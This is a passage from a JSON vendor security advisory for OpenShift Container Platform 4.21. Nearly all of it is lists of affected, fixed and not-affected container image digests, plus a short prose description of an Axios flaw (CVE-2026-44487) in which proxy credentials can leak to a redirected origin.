"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects"
},
{
"cve": "CVE-2026-44487",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:34.091476+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487948"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via redirect flows",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in Axios affecting Node.js environments. When an application uses Axios with an authenticated HTTP proxy and follows redirects from an HTTP to a non-proxied HTTPS destination, the Proxy-Authorization header may be inadvertently sent to the final origin server. This could lead to the exposure of sensitive proxy credentials to an unintended third party.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
